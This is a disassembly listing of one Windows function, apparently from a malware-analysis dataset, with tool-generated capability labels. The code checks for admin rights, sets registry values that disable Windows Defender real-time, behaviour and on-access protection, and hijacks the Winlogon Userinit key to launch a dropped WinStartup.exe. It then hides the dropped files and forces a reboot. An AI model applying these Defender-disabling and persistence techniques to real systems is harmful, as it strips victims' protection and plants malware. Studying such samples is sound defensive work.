Function at 0x140002520
Capabilities:
Create directory
Create process on windows
Create process suspended
Disable windows defender features via registry on windows
Get file attributes
Get token membership
Persist via winlogon helper dll registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x14003d080]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor esi, esi
mov word [rbp - 0x7c], 0x500
lea rax, [rbp - 0x78]
mov dword [rbp - 0x58], esi
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x80]
mov dword [rsp + 0x48], esi
mov r9d, 0x220
mov dword [rsp + 0x40], esi
lea r8d, [rsi + 0x20]
mov dword [rsp + 0x38], esi
mov dl, 2
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov dword [rbp - 0x80], esi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140002f0c
mov rdx, qword [rbp - 0x78]
lea r8, [rbp - 0x58]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x78]
test eax, eax
je 0x140002f06
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x58], esi
je 0x140002f0c
lea rcx, [0x140037220]
mov qword [rsp + 0x510], rbx
call fcn.140011fec
xorps xmm0, xmm0
mov qword [rbp + 0x20], rsi
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x28], rsi
movups xmmword [rbp + 0x10], xmm0
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400025f0
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140005200
mov rcx, qword [rbp + 0x20]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0xb
jb 0x140002f30
cmp qword [rbp + 0x28], 0xf
lea rax, [0x140037230]
mov qword [rsp + 0x30], 0xb
lea r9, [rbp + 0x10]
cmova r9, qword [rbp + 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x30]
call fcn.1400057a0
cmp qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0xa0]
cmova rcx, qword [rbp - 0x30]
call fcn.14000e7e4
test eax, eax
je 0x140002f36
lea rax, [rbp - 0x78]
mov qword [rsp + 0x518], rdi
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp - 0x58], 1
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400027fc
mov rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableAntiSpyware
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rsi
lea rdx, str.Real_Time_Protection
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableRealtimeMonitoring
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableBehaviorMonitoring
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableScanOnRealtimeEnable
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableOnAccessProtection
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x58]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableIOAVProtection
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
xorps xmm0, xmm0
lea rdx, str.C:Windows_system32userinit.exe_C:WindowsWinStartup.exe
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 0x3a
mov rdi, rax
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea r8, [rbp - 0x78]
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rdx, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov rcx, qword [rbp - 0x50]
cmp rdx, 0xf
cmova rax, rcx
nop
inc rbx
cmp byte [rax + rbx], sil
jne 0x140002860
cmp rdx, 0xf
mov dword [rsp + 0x28], ebx
lea rax, [rbp - 0x50]
mov r9d, 1
cmova rax, rcx
lea rdx, str.Userinit
mov rcx, qword [rbp - 0x78]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400028dd
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028d8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002f00
call fcn.140006930
mov rdx, qword [rdi + 0x18]
movdqa xmm0, xmmword [0x1400374b0]
mov byte [rbp - 0x50], sil
movdqu xmmword [rbp - 0x40], xmm0
cmp rdx, 0xf
jbe 0x140002928
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002923
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002f00
mov rcx, r8
call fcn.140006930
mov qword [rdi + 0x10], rsi
lea rcx, [rbp - 0x30]
mov qword [rdi + 0x18], 0xf
mov byte [rdi], sil
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
mov edx, 2
cmova rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
lea rdx, [0x140037240]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 7
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x34
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x140037248]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 8
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x35
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x140037258]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 0x1e
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x36
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x140037278]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 9
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x37
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x140037288]
xorps xmm1, xmm1
mov r8d, 0xe
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
lea rcx, [rbp - 0x50]
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x38
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x140037298]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 0xd
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x39
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x1400372a8]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 0x11
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x3a
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x1400372c0]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 7
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x3b
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, str.eg1.exe
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 7
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x3c
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x1400372d0]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 7
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x3d
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, [0x1400372d8]
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 7
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x3e
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.140001d30
xorps xmm0, xmm0
lea rdx, str.aa1.data
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 8
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x3f
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.1400021c0
xorps xmm0, xmm0
lea rdx, str.WinStartup.exe
xorps xmm1, xmm1
lea rcx, [rbp - 0x50]
mov r8d, 0xe
movups xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140005200
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x60]
call fcn.140004590
mov edx, 0x40
lea r8, [rbp - 0x50]
mov rcx, rax
call fcn.1400021c0
lea rcx, str.C:WindowsWinStartup.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, str.C:WindowsWinStartup.exe
lea edx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [0x140037320]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea rcx, [0x140037320]
lea edx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xorps xmm0, xmm0
lea rdx, str.shutdown__r__t_0
xorps xmm1, xmm1
lea rcx, [rbp - 0x10]
mov r8d, 0x10
movups xmmword [rbp - 0x10], xmm0
movdqu xmmword [rbp], xmm1
call fcn.140005200
xorps xmm0, xmm0
lea rdx, [rbp + 0xd0]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rbp + 0x90], rax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp - 0x60], rax
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp qword [rbp + 8], 0xf
lea r8, [rbp - 0x10]
lea r9, [rbp + 0xd0]
mov edx, 0x208
cmova r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x1e0]
call fcn.140001270
lea rax, [rbp - 0x70]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1e0]
lea rax, [rbp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140002e3a
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e35
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002f3e
call fcn.140006930
mov rdx, qword [rbp - 0x18]
movdqa xmm0, xmmword [0x1400374b0]
mov byte [rbp - 0x10], sil
movdqu xmmword [rbp], xmm0
cmp rdx, 0xf
jbe 0x140002e86
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e81
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002f3e
call fcn.140006930
mov rdx, qword [rbp + 0x28]
movdqa xmm0, xmmword [0x1400374b0]
mov byte [rbp - 0x30], sil
movdqu xmmword [rbp - 0x20], xmm0
cmp rdx, 0xf
jbe 0x140002ece
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ec9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002f3e
call fcn.140006930
mov rdi, qword [rsp + 0x518]
xor eax, eax
mov rbx, qword [rsp + 0x510]
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140006910
mov rsi, qword [rsp + 0x520]
add rsp, 0x500
pop rbp
ret
call fcn.140011cf0
int3
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov r9d, 0x10
lea r8, [0x1400371f4]
lea rdx, str.Please_program_as_administator
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.14000d568
int3
call fcn.140001240
int3
xor ecx, ecx
call fcn.14000d568
int3
call fcn.140011cf0
int3